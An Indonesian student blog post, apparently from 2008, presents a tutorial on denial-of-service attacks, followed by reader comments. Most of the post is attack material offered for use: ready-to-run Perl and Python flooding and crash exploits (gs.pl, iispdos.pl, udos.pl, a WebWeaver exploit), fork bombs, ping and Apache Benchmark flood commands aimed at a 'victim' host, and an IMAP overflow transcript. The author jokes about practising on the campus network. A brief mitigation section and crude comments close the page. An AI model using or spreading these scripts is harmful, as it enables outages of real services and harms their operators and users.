Distributed Denial of Service (DDoS)
Eheeemmm…….Tgl 10 september 2008…..Hari Kedua Kuliah (Maklum Mahasiswa baru). Pertama Kalinya aku masuk kelas….soalnya hari hari kemaren aku datangnya telat jadi malezz deh masuk kelas… ok…cukup sekian basa basi Bha**ng nya…..
hari Pertama aku masuk mata kuliah “Pengantar Teknologi Informatika” dengan Dosen ber code “11″.Dikasih Perkenalan Dasar2 mengenai apa itu Teknologi Informatika…. jadi kita disuruh bikin kelompok untuk membahas ttg produk yang berhubungan dengan Teknik Informatika…
Setelah Kelompok Dibentuk Eh…Tiba2 “Pikiran Jahat Melintas di kepala hehehehe…..Jadi aku nawarin Jasa buat bikin Tugas (lumayan Buat Nambah Duit Jajan). Truz Ngga tau knapa Mlah aku yang di tunjuk jadi ketua kelompoknya.
Akhirnya Kelompoknya Kukasih nama “sysHACK” (supaya Kliatan Keren) Padahal aku bukan member sysHACK. Truz materi yang ku angkat adalah “Distributed Denial of Service” ato Istilah kerennya “DDoS”.Kan Malu2in klo nama klompoknya sysHACK truz materi nya yg ngga berbobot, Bagi yang udah Biasa Melakukan “DDoS” mendingan ngga usah baca Atikel Ini…soalnya bakal bikin ketawa sampe sakit perut
=========================================
= SERANGAN DENIAL OF SERVICE =
=========================================
|DarK LorD|
http://stmikbg.com (Pinjem ya..Soalnya punya ku di del:))
gorby_mikhail@yahoo.co.id
>>> Apa itu Denial of Service (DoS) ?
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan danĀ kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.
Beberapa aktifitas DoS adalah:
1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.
>>> Motif penyerang melakukan Denial of Service
Menurut |SlackWare| (sorry bang ya…jual2 nama), ada beberapa motif cracker
dalam melakukan Denial of Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan
ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah ‘distribute Denial of Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan serangan
DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut ‘zombie’ dalam jargon.Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_program argv argc …
>>> Denial of Sevice, serangan yang menghabiskan resource.
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD
A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap juga digunakan untuk mem-’forked’ child process. Bagaimanapun spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. RAM
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.
>>> Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik. Kita akan bahas tipe-tipe serangan DoS.
1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan ‘loophole’ pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network). Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP. Varian dari serangan ini disebut “smurfing”
(http://www.quadrunner.com/~chuegen/smurf.txt).
Serangan menggunakan exploits.
Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)
1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan ‘serangan gabungan’ dari TearDrop dan TCP SYN Flooding. Target serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue Screen of Death
Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran. bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan) suatu web server, namun tidak tertutup kemungkinan untuk melakukan penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache Software foundation adalah MaxClients 150, yang berarti hanyak koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!
Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan menyebabkan program dihentikan secara
paksa.
Beberapa ‘proof of concept’ dapat dipelajari melalui beberapa contoh ini.
1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS
IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes, versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181
Script: iispdos.pl
#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print “Gunakan: perl iispdos.pl [host] \n”;
exit;
}
# Data 289999 bytes
$buff = “A” x 289999;
print “Connecting … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “110″,
Proto=> “tcp”) or die;
print “Error: $_\n”;
print “Connect !!\n”;
print $connect “$buff\n”;
close $connect;
print “Done \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “110″,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# END.
2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net
Proof of Concept:
% telnet 127.0.0.1 21
Trying 127.0.0.1…
Connected to localhost.novel.ru.
Escape character is ‘^]’.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1…
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host
wzdftpd crash setelah diberikan perintah/command PORT !
3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : www.brswebweaver.com
BugTraqer : euronymous /F0KP
}——- start of fadvWWhtdos.py —————{
#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########
import sys
import httplib
met = raw_input(“”"
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
“”")
target = raw_input(“Type your target hostname [ w/o http:// ]: “)
spl = “f0kp”*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, “/”+spl)
r1 = conn.getresponse()
print r1.status
}——— end of fadvWWhtdos.py —————{
Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !
4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0×36.org
Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara manual.
Contoh eksploitasi:
——–[ transcript ]——-
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN “RealUser@infowarfare.dk” “HereIsMyPassword”
0001 OK User authenticated.
0002 SELECT “aaa…[256]…aaaa”
——–[ transcript ]——-
Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool ini pada url: http://packetstormsecurity.nl dengan kata kunci ‘nc’ atau ‘netcat’
Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu – tentu saja – membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada komputer esekutor yang memiliki bandwidth lebar.
Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.
Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS. Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).
– udos.pl –
#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print “Gunakan % perl udos.pl [host] [port] [data] \n”;
print “Contoh :\n”;
print “\t $ perl udos.pl 127.0.0.1 21 50000 \n”;
exit;
}
# Siapkan data
$buffer = “A” x $ARGV[2];
# Connect -> Korban
print “Connecting … -> $ARGV[0] \n”;
$con = new IO::Socket::INET (
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto=> “tcp”) or die;
print “Error: $_ \n”;
# Connect !
print “Connect !! \n”;
print $con “$buffer\n”;
close $con;
print “Done. \n”;
print “POST TESTING setelah serangan \n”;
print “TEST … >> $ARGV[0] \n”;
$connect = new IO::Socket::INET (
PeerAddr => “$ARGV[0]“,
PeerPort => “$ARGV[1]“,
Proto => “tcp”) or die;
print “Done !!, $ARGV[0] TEWAS !! \n”;
print “Gagal !! \n”;
close $connect;
# End.
– udos.pl –
Skrip sederhana diatas hanya melakukan hubungan dengan server korban,lalu mengirimkan flood dan melakukan post testing. Dengan sedikit pemprograman anda dapat membuat sebuah ‘Mass Flooder’ atau ‘Brute Force Flooder’, tergantung pada kreatifitas anda !
>>> Penanggulangan serangan Denial of Service
Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau bagaimana mudahnya melakukan input flooding dan membuat tool sendiri. Namun Denial of service adalah masalah layanan publik.Sama halnya dengan anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai sehingga toko anda penuh. Anda bisa saja mengatasi ‘serangan’ ini dengan ‘menutup’ toko anda – dan ini adalah cara paling efektif – namun jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.
1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option untuk menolak cracker untuk mengakses system.
2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal. Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia security. Dampak yang paling buruk, sistem cracker yang ‘rajin’, ‘ulet’ dan ‘terlatih’ akan sangat mudah untuk memasuki sistem dan merusak – tidak tertutup kemungkinan untuk melakukan Denial of Service -. Berhubungan dengan ‘Selalu Up 2 Date’, Denial of service secara langsung dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor atau melakukan up-date.
3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ). Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi jumlah pengunjung akan menjaga toko anda dari ‘Denial of Service’. Jangan lupa juga menambah RAM.
4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman, atau semua user adalah orang ‘baik’. Pertimbangkan semua aspek. Anda bisa menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari admin dan user bersangkutan.
>>> At Least
Special Sorry Buat
- bang |SlackWare|….(udah Bikin Penuh Blognya dengan Sampah)
- All sysHACK crew….(udah Jual2 nama buat bikin nama klompok…….Sorry Banget)
- anak2 echo.or.id …(Klo ngga ada kalian ngga tau aku mo nulis apa)
- STMIK BUMIGORA MATARAM (Rencananya Sih Jadi sasaran buat “bahan Praktek” (hehehehe kan baru pasang SPEEDY….:))
- Buat semua yang Senior2…yang udah Jago2….(sorry ya Klo masih banyak yang kurang “soalnya aku ngga sehebat kalian” saya masih chupu Klo mo panggil saya LAMERZ silahkan deh….hehehehehe
Bacaan lanjutan / referensi:
[1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama. Elexmedia Komputindo, ISBN: 979-20-3249-5
[2] 7 Cara Isengi Apache dan kiat mengatasinya. Steven Haryanto, Masterweb Magazine Oktober 2001
[3] Introduction to Denial of Service. Hans Husman, t95hhu@student.tdb.uu.se
[4] CERT ADVISORIES. www.cert.org
[5] Packet Storm Security http://packetstormsecurity.nl
[6] BugTraq www.securityfocus.com
Incoming search terms:
- pengertian denial of service
- Pencegahan Distributed Denial of Service
- Distributed Denial of Service (DDoS)
- pengertian distributed denial of service
- ddos py
- pengertian denial
- ddos terbaru
- Distributed Denial of service
- apa yang dimaksud dengan denial of service
- materi DDOS





stmikbg.com adalah web untuk komunitas bagi anak-anak stmik bumigora khususnya dan anak-anak IT umumnya, baek yang cupu maupun yang expert.
September 12th, 2008 at 12:58 am
penulisnya pasti hebat banget ya!!!
ck ck ck ck ck ck……
dilihat dari cara penulisannya berbeda dengan admin yg dulu..
kalo admin yang dulu tulisannya nyante dan ngocol…
terus gampang dipahami…..
kebanyakan tulisannya juga mengandul “lendir”
kalo yg ini ndak ngerti saia
terlalu berat bahasannya
September 13th, 2008 at 5:56 am
Wahh Kerenn Tulisannx, tapi banyak gk ngerti yang bagian bawahnya
September 14th, 2008 at 5:11 am
buat bang furkan……
Maklum Bang Masih Chupu…..
Ngga Ngerti saya yang gitu2…
DDoS<—–(ngga Ngerti Apaan Tuh)
Hehehehe
Thanks…..bang
|DarK_LorD|
September 16th, 2008 at 8:29 am
bagaimanapun yang berlendir lebih menantang……..
September 17th, 2008 at 2:26 am
Lendir?????YaikZZZZZzzzz……
Definisi Lendir
‘./configure’ ‘–enable-LENDIR’ ‘–enable-LENDIR’ ‘–enable-discard-path’ ‘–enable-ftp’ ‘–enable-gd-native-ttf’ ‘–enable-libxml’ ‘–enable-magic-quotes’ ‘–enable-mbstring’ ‘–enable-sockets’ ‘–prefix=/usr/local’ ‘–with-apxs=/usr/local/apache/bin/apxs’ ‘–with-curl=/opt/curlssl/’ ‘–with-freetype-dir=/usr’ ‘–with-gd’ ‘–with-jpeg-dir=/usr’ ‘–with-libxml-dir=/opt/xml2/’ ‘–with-mcrypt=/opt/libmcrypt/’ ‘–with-openssl=/usr’ ‘–with-openssl-dir=/usr’ ‘–with-pgsql=/usr’ ‘–with-png-dir=/usr’ ‘–with-ttf’ ‘–with-xpm-dir=/usr/X11R6′ ‘–with-zlib’ ‘–with-LENDIR=/usr’
result=Lendir
Lendir=Dahak
Lendir=Sperma
HaHAHAAHAHAHa
October 7th, 2008 at 9:03 am
Manteb euy…..
Mainanx…..
Berat heb…
July 22nd, 2010 at 5:17 pm
MENDINGAN BAHAS CEWEK AJA, TAPI BELAKANGAN INI KEBANYAKAN CEWEK SUKA SAMA COWOK YANG GEDE BARANGNYA, CONTOHNYA DALAM PERSAINGAN BERCINTA GARA2 KALAH BESAR BARANGNYA GAK KEPILIH DECH…..WAKKAKAKAKAKAKAKAKA…PEACE